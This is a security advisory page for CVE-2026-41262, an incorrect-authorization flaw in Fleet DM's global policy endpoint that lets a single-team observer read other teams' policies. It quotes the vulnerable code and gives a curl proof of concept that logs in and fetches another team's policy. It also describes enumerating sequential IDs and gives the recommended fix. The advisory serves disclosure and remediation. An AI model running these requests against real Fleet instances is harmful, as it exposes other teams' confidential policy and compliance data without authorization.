Fleet DM CVE-2026-41262
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Network-accessible REST API requiring only a valid low-privilege team session; impact is limited to partial confidentiality loss of policy metadata with no integrity or availability effects.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.
Details
The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
// Auth check uses empty Policy{} - TeamID is nil
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
// Fetches ANY policy by ID, regardless of team ownership
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// ... populates install_software and run_script, returns full policy
return policy, nil
}The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:
allow {
is_null(object.team_id)
object.type == "policy"
team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
action == read
}Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:
func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
teamWhere := "TRUE" // nil teamID → no team filter
args := []interface{}{id}
if teamID != nil {
teamWhere = "team_id = ?"
args = append(args, *teamID)
}
// ... executes SELECT with WHERE p.id = ? AND {teamWhere}This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.
By contrast, the properly-secured endpoints verify team scope:
GetTeamPolicyByIDQueries(team_policies.go:421-428) setsTeamID: ptr.Uint(teamID)on the auth object and callsds.TeamPolicy()which filters by teamDeleteGlobalPolicies(global_policies.go:255-263) explicitly checkspolicy.PolicyData.TeamID != nilafter fetching
PoC
Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.
# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
-H 'Content-Type: application/json' \
-d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token')
# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
https://fleet.example.com/api/latest/fleet/policies/5
# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
# "policy": {
# "id": 5,
# "name": "Team 2 Sensitive Policy",
# "query": "SELECT * FROM sensitive_table WHERE ...",
# "team_id": 2,
# "passing_host_count": 42,
# "failing_host_count": 7,
# "description": "...",
# "resolution": "...",
# ...
# }
# }Impact
An authenticated user with observer-level access on any single team can:
- Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
- View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
- Access software installer and script metadata associated with other teams' policies via the
populatePolicyInstallSoftwareandpopulatePolicyRunScriptcalls - Enumerate all policies by iterating sequential integer IDs
This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.
Recommended Fix
Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// Verify this is actually a global policy - team policies must be
// accessed via the team-scoped endpoint which enforces team authorization
if policy.TeamID != nil {
return nil, authz.ForbiddenWithInternal(
"attempting to read team policy via global endpoint",
authz.UserFromContext(ctx),
policy,
fleet.ActionRead,
)
}
if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate install_software")
}
if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate run_script")
}
return policy, nil
}Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.
AnalysisAI
Cross-team policy data exposure in Fleet DM allows any authenticated user holding observer-level access on a single team to read the full policy details - including SQL queries, host compliance counts, and software/script metadata - of policies belonging to any other team in the instance. The vulnerability stems from an authorization check performed against a placeholder empty struct (nil TeamID) rather than the actual fetched policy object, causing Fleet's OPA authorization engine to incorrectly grant access. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The Fleet instance must have team isolation enabled with at least two teams configured, and the target policies must be owned by teams other than the attacker's. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS score of 4.3 (Medium) reflects the limited confidentiality-only impact and the PR:L requirement (authenticated low-privilege user). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker authenticates to Fleet DM using credentials for a low-privilege observer account scoped to Team 1. Because policy IDs are sequential integers, the attacker iterates GET /api/latest/fleet/policies/1 through GET /api/latest/fleet/policies/N, receiving 200 OK responses with full policy objects - including SQL detection queries, pass/fail host counts, and attached software/script metadata - for all policies across all teams in the instance, including those belonging to Team 2 and global policies the attacker should not access. … |
| Remediation | Upgrade to Fleet DM v4.85.0, which contains the vendor-released patch. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
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External POC / Exploit Code
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GHSA-gm7f-v959-fr2g